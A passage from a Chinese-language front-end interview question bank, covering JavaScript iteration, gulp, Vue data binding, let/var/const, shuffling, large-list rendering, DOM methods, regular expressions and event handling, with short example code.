  • 缺点:不适合仅需要遍历而不需要返回新数组的情况。
const array = [1, 2, 3];
const mappedArray = array.map((element) => element * 2);
console.log(mappedArray);

对象的遍历方式:

1. for...in循环:

  • for...in循环是用于遍历对象属性的,但也可用于遍历数组。
  • 优点:可以遍历数组的索引或属性。
  • 缺点:会遍历数组的原型链,不稳定且性能较差,不推荐在数组上使用。
const obj = { a: 1, b: 2, c: 3 };
for (const key in obj) {
  console.log(key, obj[key]);
}

2. Object.keys方法结合forEach方法:

const obj = { a: 1, b: 2, c: 3 };
Object.keys(obj).forEach((key) => {
  console.log(key, obj[key]);
});

3. Object.entries方法结合forEach方法:

const obj = { a: 1, b: 2, c: 3 };
Object.entries(obj).forEach(([key, value]) => {
  console.log(key, value);
});

比较总结:

  • for循环是最基本的遍历方式,适用于所有情况,但代码较为繁琐。
  • forEach方法是数组专用的遍历方法,代码简洁,但无法使用breakcontinue跳出循环。
  • for...of循环适用于遍历可迭代对象,如数组、字符串等,语法简单,但无法获取索引。
  • map方法适用于对数组进行映射转换,返回新数组。
  • for...in循环适用于遍历对象的属性,但会遍历原型链上的属性。
  • Object.keys方法结合forEach方法适用于遍历对象的属性,不遍历原型链。
  • Object.entries方法结合forEach方法适用于遍历对象的键值对。

根据不同的需求和数据结构,选择合适的遍历方式可以提高代码的可读性和性能。使用基本的for循环可以处理各种情况,forEachmap方法提供了简洁的数组遍历方式,for...of循环适用于遍历可迭代对象,for...in循环和Object.keys/Object.entries结合forEach方法适用于遍历对象的属性和键值对。

# 59 gulp是什么

gulp`是前端开发过程中一种基于流的代码构建工具,是自动化项目的构建利器;它不仅能对网站资源进行优化,而且在开发过程中很多重复的任务能够使用正确的工具自动完成

  • Gulp的核心概念:流,简单来说就是建立在面向对象基础上的一种抽象的处理数据的工具。在流中,定义了一些处理数据的基本操作,如读取数据,写入数据等,程序员是对流进行所有操作的,而不用关心流的另一头数据的真正流向
  • gulp正是通过流和代码优于配置的策略来尽量简化任务编写的工作
  • Gulp的特点:
    • 易于使用:通过代码优于配置的策略,gulp 让简单的任务简单,复杂的任务可管理
    • 构建快速 利用 Node.js 流的威力,你可以快速构建项目并减少频繁的 IO 操作
    • 易于学习 通过最少的 API,掌握 gulp 毫不费力,构建工作尽在掌握:如同一系列流管道
const gulp = require('gulp');
const cleanCSS = require('gulp-clean-css');

// 压缩CSS任务
gulp.task('minify-css', () => {
  return gulp.src('src/css/*.css')
    .pipe(cleanCSS())
    .pipe(gulp.dest('dist/css'));
});

// 默认任务
gulp.task('default', gulp.series('minify-css'));

上述示例定义了一个名为minify-css的任务,用于压缩CSS文件。通过使用gulp.src选择要处理的文件,然后通过cleanCSS插件进行压缩操作,最后将压缩后的文件保存到dist/css目录下。通过gulp.task定义任务,最后通过gulp.series定义默认任务,将minify-css任务作为默认任务执行。

总结:Gulp的特点在于其简单的API和基于流的处理方式。通过使用Gulp,开发者可以轻松地定义和执行各种任务,提高开发效率。它的易用性、快速构建和易学性使得Gulp成为前端开发中常用的自动化构建工具之一

# 60 说一下Vue的双向绑定数据的原理

vue.js 则是采用数据劫持结合发布者-订阅者模式的方式,通过Object.defineProperty()来劫持各个属性的settergetter,在数据变动时发布消息给订阅者,触发相应的监听回调

Vue的双向绑定数据的原理是基于数据劫持和发布者-订阅者模式的组合。

具体步骤如下:

  1. Vue通过Object.defineProperty()方法对数据对象进行劫持。
  2. 在劫持过程中,为每个属性添加了gettersetter
  3. 当访问属性时,会触发getter函数,而当属性值发生变化时,会触发setter函数。
  4. setter函数中,Vue会通知相关的订阅者,即依赖于该属性的视图或其他数据。
  5. 订阅者收到通知后,会执行相应的更新操作,将新的数据反映到视图上。

这样,当数据发生变化时,Vue能够自动更新相关的视图,实现了双向绑定的效果。

这种原理结合了数据劫持和发布者-订阅者模式的特点,实现了数据与视图之间的自动同步。通过数据劫持,Vue能够捕获数据的变化,而发布者-订阅者模式则确保了数据变化时的及时通知和更新。

示例代码:

// 定义一个数据对象
const data = {
  message: 'Hello Vue!',
};

// 通过Object.defineProperty()劫持数据对象
Object.defineProperty(data, 'message', {
  get() {
    console.log('访问数据');
    return this._message;
  },
  set(newValue) {
    console.log('更新数据');
    this._message = newValue;
    // 通知订阅者,执行更新操作
    notifySubscribers();
  },
});

// 定义一个订阅者列表
const subscribers = [];

// 订阅者订阅数据
function subscribe(callback) {
  subscribers.push(callback);
}

// 通知订阅者,执行更新操作
function notifySubscribers() {
  subscribers.forEach((callback) => {
    callback();
  });
}

// 订阅者更新视图
function updateView() {
  console.log('视图更新:', data.message);
}

// 订阅数据变化
subscribe(updateView);

// 修改数据,触发更新
data.message = 'Hello VueJS!';

在上述示例中,我们通过Object.defineProperty()data对象的message属性进行劫持,并在gettersetter中添加了相应的日志和更新操作。订阅者通过subscribe方法订阅数据变化,并在updateView方法中更新视图。当我们修改data.message的值时,会触发setter函数,从而通知订阅者执行更新操作,最终更新了视图。

通过这种方式,Vue实现了双向绑定的效果,使得数据的变化能够自动反映到视图上。

# 61 let var const区别

let

  • 允许你声明一个作用域被限制在块级中的变量、语句或者表达式
  • let绑定不受变量提升的约束,这意味着let声明不会被提升到当前
  • 该变量处于从块开始到初始化处理的“暂存死区”

var

  • 声明变量的作用域限制在其声明位置的上下文中,而非声明变量总是全局的
  • 由于变量声明(以及其他声明)总是在任意代码执行之前处理的,所以在代码中的任意位置声明变量总是等效于在代码开头声明

const

  • 声明创建一个值的只读引用 (即指针)
  • 基本数据当值发生改变时,那么其对应的指针也将发生改变,故造成 const申明基本数据类型时
  • 再将其值改变时,将会造成报错, 例如 const a = 3 ; a = 5时 将会报错
  • 但是如果是复合类型时,如果只改变复合类型的其中某个Value项时, 将还是正常使用

示例代码:

let:

function example() {
  let x = 10;
  if (true) {
    let x = 20;
    console.log(x); // Output: 20
  }
  console.log(x); // Output: 10
}

example();

var:

function example() {
  var x = 10;
  if (true) {
    var x = 20;
    console.log(x); // Output: 20
  }
  console.log(x); // Output: 20
}

example();

const:

function example() {
  const x = 10;
  if (true) {
    const x = 20;
    console.log(x); // Output: 20
  }
  console.log(x); // Output: 10
}

example();

在上述示例中,使用let关键字声明的变量x具有块级作用域,它的作用范围仅限于if语句块内部。而使用var关键字声明的变量x则具有函数级作用域,它的作用范围在整个函数内部都可见。

对于const关键字声明的变量x,它创建了一个只读的引用,也就是说它的值不能被修改。在示例中,const x = 10声明了一个常量x,而在if语句块内部再次使用const x = 20声明了一个新的常量x,它的作用范围也仅限于if语句块内部。

总结:

  • let关键字声明的变量具有块级作用域,不会被提升,存在暂存死区。
  • var关键字声明的变量具有函数级作用域,会被提升到当前作用域的顶部。
  • const关键字声明的变量创建一个只读的引用,其值不可修改,但对于复合类型的变量,可以修改其属性或元素的值。

# 62 快速的让一个数组乱序

方法1:使用数组的sort方法结合随机数

var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
arr.sort(function() {
  return Math.random() - 0.5;
});
console.log(arr);

方法2:使用Fisher-Yates算法

function shuffleArray(array) {
  var currentIndex = array.length, temporaryValue, randomIndex;
  
  while (currentIndex !== 0) {
    randomIndex = Math.floor(Math.random() * currentIndex);
    currentIndex -= 1;
    
    temporaryValue = array[currentIndex];
    array[currentIndex] = array[randomIndex];
    array[randomIndex] = temporaryValue;
  }
  
  return array;
}

var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
console.log(shuffleArray(arr));

方法3:使用lodash库的shuffle方法

import shuffle from 'lodash/shuffle'
var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
console.log(shuffle(arr));

对比总结:

  • 方法1使用数组的sort方法结合随机数,是一种简单快速的方式,但并不是真正意义上的乱序,因为它是通过排序来实现的。
  • 方法2使用Fisher-Yates算法,通过交换数组中的元素来实现乱序,是一种更可靠的乱序方式。
  • 方法3使用lodash库的shuffle方法,提供了一个方便的工具函数来实现数组的乱序,不需要自己编写乱序算法。

总体而言,如果只是需要简单的乱序,方法一已经足够。但如果对于乱序的质量和随机性有较高的要求,可以使用方法二的Fisher-Yates算法或者借助第三方库来实现。

# 63 如何渲染几万条数据并不卡住界面

方式1:使用requestAnimationFrame

这道题考察了如何在不卡住页面的情况下渲染数据,也就是说不能一次性将几万条都渲染出来,而应该一次渲染部分 DOM,那么就可以通过 requestAnimationFrame 来每 16 ms 刷新一次

在渲染大量数据时,避免一次性将所有数据都渲染出来可以提高性能,以保持界面的流畅性。以下是一个示例代码,演示如何使用requestAnimationFrame来分批渲染大量数据,避免卡住界面:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
</head>
<body>
  <ul>控件</ul>
  <script>
    setTimeout(() => {
      // 插入十万条数据
      const total = 100000
      // 一次插入 20 条,可以根据实际性能调整
      const once = 20
      // 渲染数据总共需要几次
      const loopCount = total / once
      let countOfRender = 0
      let ul = document.querySelector("ul");

      function add() {
        // 优化性能,使用文档片段插入,减少回流
        const fragment = document.createDocumentFragment();
        for (let i = 0; i < once; i++) {
          const li = document.createElement("li");
          li.innerText = Math.floor(Math.random() * total);
          fragment.appendChild(li);
        }
        ul.appendChild(fragment);
        countOfRender += 1;
        loop();
      }

      function loop() {
        if (countOfRender < loopCount) {
          // 使用requestAnimationFrame在每一帧中执行渲染
          window.requestAnimationFrame(add);
        }
      }

      loop();
    }, 0);
  </script>
</body>
</html>

上述代码会将十万条数据分批插入到ul列表中,每次插入20条数据,并通过requestAnimationFrame在每一帧中执行渲染,保证不卡住界面。这样用户可以逐步看到数据的渲染过程,而不是等待所有数据都渲染完毕后才显示。这种方式可以提高用户体验并避免界面卡顿。

方式2:使用虚拟滚动

使用虚拟滚动(Virtual Scrolling)可以在渲染大量数据时提高性能,只渲染可见区域的数据,而不是将所有数据都插入到DOM中。这样可以减少DOM操作和内存占用,从而提升性能和响应速度。以下是使用虚拟滚动完成这道题的示例代码:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
  <style>
    .container {
      height: 400px;
      overflow: auto;
    }
    .item {
      height: 30px;
      line-height: 30px;
      border-bottom: 1px solid #ccc;
    }
  </style>
</head>
<body>
  <div class="container">
    <div class="content"></div>
  </div>
  <script>
    setTimeout(() => {
      // 插入十万条数据
      const total = 100000;
      // 可见区域的高度
      const visibleHeight = 400;
      // 单个元素的高度
      const itemHeight = 30;
      // 计算可见区域能容纳的元素数量
      const visibleItemCount = Math.ceil(visibleHeight / itemHeight);
      // 当前滚动位置对应的元素索引
      let startIndex = 0;
      let endIndex = visibleItemCount;
      let container = document.querySelector(".container");
      let content = document.querySelector(".content");

      function renderItems() {
        content.innerHTML = "";
        for (let i = startIndex; i < endIndex; i++) {
          const item = document.createElement("div");
          item.className = "item";
          item.innerText = Math.floor(Math.random() * total);
          content.appendChild(item);
        }
      }

      function handleScroll() {
        // 计算当前滚动位置对应的元素索引
        startIndex = Math.floor(container.scrollTop / itemHeight);
        endIndex = startIndex + visibleItemCount;
        renderItems();
      }

      // 监听滚动事件
      container.addEventListener("scroll", handleScroll);

      // 初始渲染可见区域的元素
      renderItems();
    }, 0);
  </script>
</body>
</html>

在上述代码中,通过设置一个具有固定高度的容器,使用overflow: auto来实现滚动。通过计算可见区域的高度和单个元素的高度,确定可见区域能容纳的元素数量。然后根据滚动位置计算出当前可见区域的元素索引范围,只渲染这一部分数据,从而实现虚拟滚动。随着滚动事件的触发,动态更新可见区域的元素。这样在大量数据的情况下,只有可见区域的元素会被渲染,大大提高了性能和响应速度。

# 64 希望获取到页面中所有的checkbox怎么做?

 var domList = document.getElementsByTagName(‘input’)
 var checkBoxList = [];
 var len = domList.length;  //缓存到局部变量
 while (len--) {  //使用while的效率会比for循环更高
   if (domList[len].type == ‘checkbox’) {
       checkBoxList.push(domList[len]);
   }
 }
  • 这段代码使用document.getElementsByTagName('input')获取到页面中所有的input元素,并通过遍历筛选出typecheckbox的元素,然后将它们存储在checkBoxList数组中
  • 请注意,这段代码假设所有的复选框都是通过<input>元素实现的,如果你的页面中还有其他方式创建的复选框,可能无法正确获取到。另外,建议将domList.length缓存到局部变量中,可以提高代码的性能。

# 65 怎样添加、移除、移动、复制、创建和查找节点

下面是一些用于添加、移除、移动、复制、创建和查找节点的常用方法:

创建新节点

document.createElement(tagName); // 创建一个指定标签名的元素节点
document.createTextNode(text); // 创建一个包含指定文本的文本节点
document.createDocumentFragment(); // 创建一个空的文档片段节点

添加、移除、替换、插入节点

parentNode.appendChild(node); // 在父节点的末尾添加一个子节点
parentNode.removeChild(node); // 从父节点中移除指定的子节点
parentNode.replaceChild(newNode, oldNode); // 用新节点替换指定的旧节点
parentNode.insertBefore(newNode, referenceNode); // 在参考节点之前插入一个新节点

查找节点

document.getElementsByTagName(tagName); // 返回指定标签名的元素节点集合
document.getElementsByName(name); // 返回具有指定名称的元素节点集合
document.getElementById(id); // 返回具有指定 id 的元素节点

注意,以上方法都是基于document对象进行操作的,如果需要在特定的节点上执行这些操作,可以使用相应节点的方法,例如parentNode.appendChild(node)

示例代码:

// 创建新节点
var newElement = document.createElement('div');
var newText = document.createTextNode('Hello, world!');
var fragment = document.createDocumentFragment();

// 添加节点
document.body.appendChild(newElement);
newElement.appendChild(newText);

// 移除节点
document.body.removeChild(newElement);

// 替换节点
var oldElement = document.getElementById('old');
var newElement = document.createElement('div');
document.body.replaceChild(newElement, oldElement);

// 插入节点
var referenceElement = document.getElementById('reference');
var newNode = document.createElement('p');
document.body.insertBefore(newNode, referenceElement);

// 查找节点
var elementsByTagName = document.getElementsByTagName('div');
var elementsByName = document.getElementsByName('name');
var elementById = document.getElementById('id');

以上代码演示了如何创建新节点、添加节点、移除节点、替换节点、插入节点以及查找节点的方法。请根据实际情况调整代码并操作相应的节点。

# 66 正则表达式

正则表达式构造函数RegExp()和正则表达字面量的主要区别在于语法和使用方式。

正则表达式构造函数 RegExp()

  • 使用字符串作为参数,需要进行双重转义,即需要使用双反斜杠来表示特殊字符,如\d表示数字,\w表示字母数字下划线等。
  • 构造函数的参数可以是一个字符串,也可以是两个字符串,第一个字符串是正则表达式模式,第二个字符串是修饰符。
  • 如果正则表达式模式是一个变量,只能使用构造函数的方式创建正则表达式。

正则表达字面量 //

  • 使用两个斜杠//将正则表达式包围起来。
  • 字面量的方式更简洁,不需要进行双重转义,直接使用特殊字符即可。
  • 正则表达式字面量的模式和修饰符直接写在斜杠之间。

在前端面试中,正则表达式是一个常见的考点。以下是一些与正则表达式相关的重要知识点总结:

1. 基本语法

  • 正则表达式是由字符和特殊字符组成的模式,用于匹配字符串中的文本。
  • 常见的特殊字符包括元字符(如.*+?等)和字符类(如[...][^...]\d\w等)。

2. 匹配模式

  • 使用正则表达式可以进行文本匹配、查找、替换等操作。
  • 匹配模式可以包括固定文本和通配符,用于定义要匹配的模式。
  • 量词(如*+?{n}{n,m}等)用于指定匹配的次数。

3. 常见的正则表达式应用场景

  • 邮箱验证:匹配邮箱的正则表达式可以验证邮箱的合法性。
  • 密码验证:通过正则表达式可以验证密码的复杂度要求。
  • 手机号验证:使用正则表达式可以验证手机号码的格式是否正确。
  • URL 提取:通过正则表达式可以从文本中提取出符合 URL 格式的链接。
  • HTML 标签处理:正则表达式可以用于匹配和处理 HTML 标签。
  • 字符串替换:使用正则表达式可以进行字符串的替换操作。

4. 常见的正则表达式方法

  • test():测试字符串是否匹配正则表达式。
  • exec():在字符串中查找匹配的文本,并返回匹配结果。
  • match():在字符串中查找匹配的文本,并返回所有匹配结果的数组。
  • search():在字符串中查找匹配的文本,并返回第一个匹配结果的索引。
  • replace():将匹配的文本替换为指定的字符串。
  • split():根据正则表达式将字符串拆分为数组。
// 示例字符串
const str = 'Hello, World! This is a test string.';

// test(): 测试字符串是否匹配正则表达式
const regex1 = /test/;
console.log(regex1.test(str)); // true

// exec(): 在字符串中查找匹配的文本,并返回匹配结果
const regex2 = /is/g;
let result;
while ((result = regex2.exec(str)) !== null) {
  console.log(result[0]); // "is" (每次循环匹配的结果)
  console.log(result.index); // 匹配的起始索引
}

// match(): 在字符串中查找匹配的文本,并返回所有匹配结果的数组
const regex3 = /o/g;
console.log(str.match(regex3)); // ["o", "o", "o"]

// search(): 在字符串中查找匹配的文本,并返回第一个匹配结果的索引
const regex4 = /World/;
console.log(str.search(regex4)); // 7

// replace(): 将匹配的文本替换为指定的字符串
const regex5 = /test/;
const newStr = str.replace(regex5, 'replacement');
console.log(newStr); // "Hello, World! This is a replacement string."

// split(): 根据正则表达式将字符串拆分为数组
const regex6 = /[,!\s]/;
const arr = str.split(regex6);
console.log(arr); // ["Hello", "World", "This", "is", "a", "test", "string"]

5. 贪婪匹配和非贪婪匹配

  • 贪婪匹配是指正则表达式默认匹配尽可能长的字符串。
  • 非贪婪匹配是指正则表达式匹配尽可能短的字符串,在量词后加上?实现非贪婪匹配。

以下是一些常见的正则表达式面试题考点及其答案总结:

1. 什么是正则表达式?

正则表达式是一种用于匹配和操作字符串的模式,它由字符和特殊字符组成,用于定义匹配规则。

2. 正则表达式的创建方式有哪些?

正则表达式可以通过两种方式创建:

  • 字面量方式:使用两个斜杠//将正则表达式包围起来,如:/pattern/
  • 构造函数方式:使用RegExp()构造函数创建,接受一个字符串参数,如:new RegExp("pattern")

3. 常见的正则表达式修饰符有哪些?

常见的正则表达式修饰符包括:

  • i:不区分大小写匹配。
  • g:全局匹配,找到所有匹配项。
  • m:多行匹配,将 ^$ 应用到每一行。

4. 常用的正则表达式元字符有哪些?

常用的正则表达式元字符包括:

  • .:匹配除换行符以外的任意字符。
  • ^:匹配字符串的开始位置。
  • $:匹配字符串的结束位置。
  • \d:匹配数字字符。
  • \w:匹配字母、数字、下划线。
  • \s:匹配空白字符。

5. 如何匹配邮箱地址?

可以使用以下正则表达式进行邮箱地址的匹配:

/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;

6. 如何匹配手机号码? 可以使用以下正则表达式进行手机号码的匹配:

/^1[3456789]\d{9}$/;

7. 如何匹配 URL 地址?

可以使用以下正则表达式进行 URL 地址的匹配:

/^(https?:\/\/)?([\da-z.-]+)\.([a-z.]{2,6})(\/[\w.-]*)*\/?$/;

8. 如何提取字符串中的数字部分? 可以使用以下正则表达式提取字符串中的数字部分:

/\d+/g;

9. 如何验证密码的复杂度要求?

可以使用以下正则表达式验证密码的复杂度要求,包括至少包含一个大写字母、一个小写字母和一个数字,长度为8-20个字符:

/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)[a-zA-Z\d]{8,20}$/;

10. 如何匹配日期格式(YYYY-MM-DD)?

可以使用以下正则表达式匹配日期格式(YYYY-MM-DD):

/^\d{4}-\d{2}-\d{2}$/;

11. 如何匹配 IP 地址?

可以使用以下正则表达式匹配 IP 地址:

/^((25[0-5]|2[0-4]\d|[01]?\d{1,2})\.){3}(25[0-5]|2[0-4]\d|[01]?\d{1,2})$/;

12. 如何匹配 HTML 标签?

可以使用以下正则表达式匹配 HTML 标签:

/<[^>]+>/g;

13. 如何移除字符串中的 HTML 标签?

可以使用以下正则表达式移除字符串中的 HTML 标签:

str.replace(/<[^>]+>/g, '');

# 67 Javascript中callee和caller的作用?

calleecaller是两个旧的非标准属性,它们在现代的 JavaScript 中已经不推荐使用,且在严格模式下不可用。

  • caller属性:caller属性用于获取调用当前函数的函数的引用。它返回一个函数对象或者null。这个属性主要用于追踪函数的调用来源。但由于其潜在的安全性问题和性能问题,它已经被废弃了,并且在严格模式下无法使用。
  • callee属性:callee属性返回当前正在执行的函数的引用。它通常在匿名函数或递归函数中使用,允许函数引用自身。但同样由于其潜在的安全性和性能问题,它也已经被废弃了,并且在严格模式下无法使用。

应该尽量避免使用callercallee属性,而使用更现代的 JavaScript 特性和技术来完成相应的任务。例如,可以使用具名函数表达式来递归调用函数,使用函数引用作为参数传递来追踪函数调用的来源。

以下是一个示例,

如果一对兔子每月生一对兔子;一对新生兔,从第二个月起就开始生兔子;假定每对兔子都是一雌一雄,试问一对兔子,第n个月能繁殖成多少对兔子?(使用callee完成)

var result=[];
function fn(n){  //典型的斐波那契数列
  if(n==1){
    return 1;
  }else if(n==2){
    return 1;
  }else{
    if(result[n]){
      return result[n];
    }else{
      //argument.callee()表示fn()
      result[n]=arguments.callee(n-1)+arguments.callee(n-2);
      return result[n];
    }
  }
}

以下是一个示例,展示了如何使用具名函数表达式进行递归调用:

const factorial = function calculateFactorial(n) {
  if (n <= 1) {
    return 1;
  }
  return n * calculateFactorial(n - 1);
};

console.log(factorial(5)); // 输出: 120

在这个示例中,使用具名函数表达式calculateFactorial来递归调用自身,计算阶乘的结果。这种方式比使用callee属性更清晰和可维护。

总结

  • caller是返回一个对函数的引用,该函数调用了当前函数;
  • callee是返回正在被执行的function函数,也就是所指定的function对象的正文

# 68 window.onload和$(document).ready

原生JSwindow.onloadJquery$(document).ready(function(){})有什么不同?如何用原生JS实现Jq的ready方法?

  • window.onload()方法是必须等到页面内包括图片的所有元素加载完毕后才能执行。
  • $(document).ready()DOM结构绘制完毕后就执行,不必等到加载完毕
function ready(fn){
    if(document.addEventListener) {        //标准浏览器
      document.addEventListener('DOMContentLoaded', function() {
          //注销事件, 避免反复触发
          document.removeEventListener('DOMContentLoaded',arguments.callee, false);
          fn();            //执行函数
      }, false);
    }else if(document.attachEvent) {        //IE
      document.attachEvent('onreadystatechange', function() {
          if(document.readyState == 'complete') {
              document.detachEvent('onreadystatechange', arguments.callee);
              fn();        //函数执行
          }
      });
    }
 };

# 69 addEventListener()和attachEvent()的区别

  • addEventListener()是DOM Level 2 标准定义的方法,而attachEvent()是早期IE浏览器的非标准方法。
  • addEventListener()可以为同一个元素的同一个事件类型添加多个事件处理函数,而attachEvent()只能绑定一个事件处理函数。
  • addEventListener()使用事件捕获阶段或冒泡阶段来处理事件,可以通过第三个参数来指定是在捕获阶段处理还是在冒泡阶段处理。而attachEvent()只能在冒泡阶段处理事件。
  • addEventListener()的事件处理函数中的this指向触发事件的元素,而attachEvent()的事件处理函数中的this指向window对象。
  • addEventListener()中的事件处理函数可以通过event参数来获取事件信息,而attachEvent()的事件处理函数需要通过window.event来获取事件信息。

由于attachEvent()是早期IE浏览器的非标准方法,且在现代浏览器中已经被废弃,推荐使用addEventListener()来绑定事件。

# 70 获取页面所有的checkbox

var resultArr= [];
var input = document.querySelectorAll('input');
for(var i = 0; i < input.length; i++ ) {
  if(input[i].type == 'checkbox') {
    resultArr.push( input[i] );
  }
}
//resultArr即中获取到了页面中的所有checkbox

# 71 数组去重方法总结

方法一、利用ES6 Set去重(ES6中最常用)

function unique (arr) {
  return Array.from(new Set(arr))
}
var arr =</